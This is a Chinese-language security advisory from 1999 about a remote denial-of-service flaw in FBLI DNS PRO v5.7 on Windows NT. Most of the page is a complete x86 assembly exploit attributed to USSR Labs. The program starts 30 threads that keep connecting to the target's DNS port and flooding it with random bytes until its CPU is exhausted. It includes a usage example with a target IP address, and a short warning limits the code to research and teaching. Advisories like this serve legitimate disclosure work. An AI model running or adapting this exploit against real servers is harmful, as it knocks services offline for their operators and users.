首页 -> 安全研究

安全研究

安全漏洞
FBLI公司DNS PRO v5.7 WinNT远程拒绝服务漏洞

发布日期:1999-12-22
更新日期:1999-12-22

受影响系统:
DNS PRO v5.7 (也许包括其他的DNS Server)
描述:

    Ussrlabs发现了NT平台下DNS PRO v5.7的一个漏洞。当同时向主机的53号端口打开超过30个连接并发送一些字符,如果DNS PRO是以服务的方式运行的话,将导致CPU资源占用100%。
  



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


;============================================================================
  
; Source by: USSR Labs                               
  
;============================================================================
  

  
.386p
  
locals
  
jumps
  
.model flat, stdcall
  
include wincrypt.inc
  

  
extrn    GetCommandLineA:PROC
  
extrn    GetStdHandle:PROC
  
extrn    WriteConsoleA:PROC
  
extrn    ExitProcess:PROC
  
extrn    WSAStartup:PROC
  
extrn    connect:PROC
  
extrn    send:PROC
  
extrn    recv:PROC
  
extrn    WSACleanup:PROC
  
extrn    htons:PROC
  
extrn    socket:PROC
  
extrn    inet_addr:PROC
  
extrn    closesocket:PROC
  
Extrn    GetModuleHandleA          : PROC
  
Extrn    GetProcAddress              : PROC
  
Extrn    lstrlenA              : PROC
  
Extrn    CryptAcquireContextA          : PROC
  
Extrn    CryptGenRandom              : PROC
  
Extrn    VirtualProtect              : PROC
  
Extrn    CreateThread              : PROC
  
Extrn   Sleep                         : PROC
  
.data
  

  
sploit_code label byte
  
dd 57 dup (0)
  
sploit_code_length   equ     $-sploit_code
  

  
Copy      db "DNS PRO 5.7 (Denial of Service)", 13, 10
  
      db "by: Ussr",13,10
  
          db "for source code go to: http://www.ussrback.com/",13,10,13,10
  
          db "Usage: ddnspro HostIp", 13, 10
  
          db "Example: ddnspro 207.46.130.45",13,10,0
  
Copyl      equ $-Copy
  

  
wsadescription_len equ 256
  
wsasys_status_len equ 128
  
hProv                dd 0
  
WSAdata struct
  
wVersion dw ?
  
wHighVersion dw ?
  
szDescription db wsadescription_len+1 dup (?)
  
szSystemStatus db wsasys_status_len+1 dup (?)
  
iMaxSockets dw ?
  
iMaxUdpDg dw ?
  
lpVendorInfo dw ?
  
WSAdata ends
  
lpde_ThreadId dd 0
  
sockaddr_in struct
  
sin_family dw ?
  
sin_port dw ?
  
sin_addr dd ?
  
sin_zero db 8 dup (0)
  
sockaddr_in ends
  
contadorthread dd 0
  
wsadata WSAdata
  
sin sockaddr_in
  
sock dd ?
  
numbase dd 10
  
hostParamether db 256 dup (?)
  
buffer dd 1000 dup (0)
  
buffer2 dd 1000 dup (0)
  

  
i_cant_connect  db ''Fatal: sorry i can'',27h,''t connect to this host!'',13,10
  
i_cant_connectl equ $-i_cant_connect
  

  
SendingExploit    db ''ok!: Sending D.O.S code....'',13,10
  
SendingExploitl equ $-SendingExploit
  

  
include code.inc
  

  
cchWritten dd 0
  
ConHandle dd 0
  

  
.code
  
start:
  
    xor    eax,eax
  
    xor    ebx,ebx
  
    xor    edx,edx
  
    xor    ecx,ecx
  
    xor    esi,esi
  
    xor    edi,edi
  
    xor    ebp,ebp
  
    Push    -11
  
    Call    GetStdHandle
  
    Mov    [ConHandle],EAX
  
    call    GetCommandLineA
  
    mov    edi, eax
  
    mov    ecx, -1
  
    xor    al, al
  
    push    edi
  
    repnz    scasb
  
    not    ecx
  
    pop    edi
  
    mov    al, 20h
  
    repnz    scasb
  
    dec    ecx
  
    mov    esi, edi
  
    cmp    byte ptr [esi],0
  
    je    no_command_line
  
    cmp    byte ptr [esi],20h
  
    je    incrementa1
  
continue:
  
    lea    edi, hostParamether
  
    rep    movsb
  
    call Inicializar_criptoApi
  
creathreads:
  
    lea    eax, [lpde_ThreadId+ebp]         ; create timer (thread)
  
    push    eax
  
    push    0
  
    push    0
  
    lea    eax, [fuckyou+ebp]
  
    push    eax
  
    push    0
  
    push    0
  
    call    CreateThread
  
        cmp     contadorthread,30
  
    je    fin
  
    add    contadorthread,1
  
    jmp    creathreads
  
fin:
  
        push    -1
  
        call    Sleep
  
        jmp     fin
  

  
fuckyou:
  
    call    GenRandom
  
    push    offset wsadata
  
    push    0101h
  
    call    WSAStartup
  
    xor    eax, eax
  
    push    eax
  
    inc    eax
  
    push    eax
  
    inc    eax
  
    push    eax
  
    call    socket
  
    mov    ebx,eax
  
    mov    sock, eax
  
    mov    sin.sin_family, 2
  
        mov     eax,53d                         ; port
  
    push    eax
  
    call    htons
  
        mov     sin.sin_port, ax
  
    push    offset hostParamether
  
    call    inet_addr
  
    mov    sin.sin_addr, eax
  
    push    size sin
  
    push    offset sin
  
    push    ebx
  
    call    connect
  
        or      eax, eax
  
        je      connectionworking
  
        Write_Console <offset i_cant_connect > <i_cant_connectl >
  
        jmp     fuckyou
  
incrementa1:
  
    inc   si
  
    jmp   continue
  
connectionworking:
  
    fnop
  
    fnop
  
    fnop
  
    fnop
  
    fnop
  
    fnop
  
    fnop
  
        xor     eax, eax
  
        push    eax
  
        push    sploit_code_length
  
        push    offset sploit_code
  
        push    ebx
  
        call    send
  
        Write_Console <offset SendingExploit > <SendingExploitl >
  
        push    ebx
  
        call    closesocket
  
        call    WSACleanup
  
        jmp     fuckyou
  
the_end:
  
    push    sock
  
    call    closesocket
  
        call    WSACleanup
  
final_exit:
  
    push    0
  
    call    ExitProcess
  
no_command_line:
  
    Write_Console <offset Copy > <Copyl >
  
    jmp   final_exit
  

  

  

  
Inicializar_criptoApi:
  
        call    CryptAcquireContextA, offset hProv, 0, 0, \
  
            PROV_RSA_FULL, 0
  
        test    eax,eax
  
        je    crypterror
  
cryptagain:
  
        ret
  
crypterror:
  
        call    CryptAcquireContextA, offset hProv, 0, 0, \
  
                 PROV_RSA_FULL, CRYPT_NEWKEYSET
  
        jmp    cryptagain
  

  
GenRandom:
  
        pusha
  
        mov   eax,offset sploit_code
  
        push  eax
  
        push  sploit_code_length
  
        mov   eax,[hProv]
  
        push  eax
  
        call  CryptGenRandom
  
        popa
  
        ret
  

  
end start
  



建议:

暂无。厂家(http://www.fbli.com/)将在尽期推出解决办法。




浏览次数:7287
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障